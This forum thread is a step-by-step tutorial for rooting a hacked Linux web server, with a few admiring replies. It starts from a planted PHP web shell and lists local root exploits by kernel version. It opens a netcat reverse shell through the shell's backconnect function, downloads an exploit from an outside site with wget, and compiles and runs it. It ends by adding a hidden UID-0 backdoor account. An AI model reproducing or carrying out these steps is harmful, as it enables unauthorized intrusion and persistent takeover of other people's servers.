Hello all and welcome to a tutorial on how to root a linux server.
This is going to be short,HQ tutorial with pictures included (For better learining)

So let's start with things you will need:

1) Shelled website
2) Local root exploit
3) NetCat

Chapter 1 - Gathering informations

Open up your .php shell on a hacked webserver.
I have mine for an example

Now you need to check what kernel your victim is using...
It should be something like

Code

Linux hosting.net 2.6.18-1.2257.fc5smp #1 SMP Date time 2006 i686

Next thing you wanna do is to look for an local root exploit.
From example provided mine one is 2.6.18 2006

Here's the list of exploits

Code

2.2 ->  ptrace
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
2.6.23 - 2.6.24 -> diane_lane_**_hard.c
2.6.17 - 2.6.24-1 -> jessica_biel_naked_in_my_bed.c

Now when you confirmed your exploit it's time to find it...
Google is your best friend and this site here...
http://localroot.th3-0utl4ws.com/ It does have many exploits.

NOTE: If your webserver have 2.6.18 2011 kernel,then you have 0.0001% chances that you will root it,because there's no public exploit for that version.

Chapter 2 - Backconnecting to the server

For this you will need:

1) NetCat
2) Open port (Example. 443 I won't teach how to port forward,use Google if you don't know how!!)

So open your netcat and type:

Code

-l -vv -p 433

Hit "Enter"

Now it should write "listening on [any] 443 ..."
Good.

Go back to your shell and go to "BackConnect function"
Many shells have it.
Enter your port and press "Connect".

Now it should connect to your netcat
I got something like this:

Chapter 3 - Downloading exploit and executing it

Now we will need our exploit from Chapter 1
There's 2 way of uploading:

1) Using shell uploader
2) Using 'wget' function (Requires backconnection)

I'm going to use 'wget' function because it's easier and faster.
So copy your exploit link (Mine one http://localroot.th3-0utl4ws.com/xploits/2.6.18-164.zip) and go back to your netcat and type:

Code

wget http://localroot.th3-0utl4ws.com/xploits/2.6.18-164.zip

Now it downloaded out exploit named "2.6.18-164.zip" on our server.

[img]http://img96.imageshack.us/img96/2293/regionv.png[/img]

NOTE:
Spoiler (Click to View)
If your exploit is downloaded as anyrandomname.c you must compile it

Code

gcc anyrandomname.c -o anyrandomname

And our exploit is compiled. (If you get errors when compiling then find another exploit)


If you downloaded your exploit in zip file anyrandomname.zip type:

Code

unzip anyrandomname.zip

[img]http://img864.imageshack.us/img864/1460/regionyq.png[/img]

Now you should have your exploit (Like mine "2.6.18-164")

If you completed all steps it's time to get root.

Type:

Code

chmod 777 yourexploitsname

With common sense where i typed "yourexploitsname" you will type your exploits name.

And one last final step is to run our exploit

Code

./yourexploit'sname

To check if you got root type

Code

id

or

Code

whoami

Mine steps to root

Chapter 4 - Adding root user

Adding new root user is fairly easy
We use this command:

Code

adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M root2

Command explanations:

adduser - Using Linux adduser command to create a new user account or to update default new user information.

-u 0 -o - Set the value of user id to 0.

-g 0 - Set the initial group number or name to 0

-G 0,1,2,3,4,6,10 - Set supplementary group to:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel

-M - 'home directory' not created for the user.

root2 - User name of the new user account.

NOTE: Change root2 to your desired username.

Now you need to set a password for your username.
Type in next:

Code

passwd Root2

(Root2 is your username)

See an example

Code

[root@fedora ~]# passwd root2
Changing password for user root2.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

To check if you did alright

Code

id root2

(Root2 is your username)

So that concluded our rooting tutorial.
I hope that someone will learn from this and that this thread will be bookmarked for generations. 😁

Bookmarked :)

[dawnofwar]

Nice tutorial man, nicely written, easy to understand, and not a shitty layout!!! I hate those threads that use high class layouts but you can't even read the text and they are used for tutorials =/

Do you need to portforward to be able to do this?
It is impossible to portforward my router, but I can get ports on my VPN forwarded if that will work??
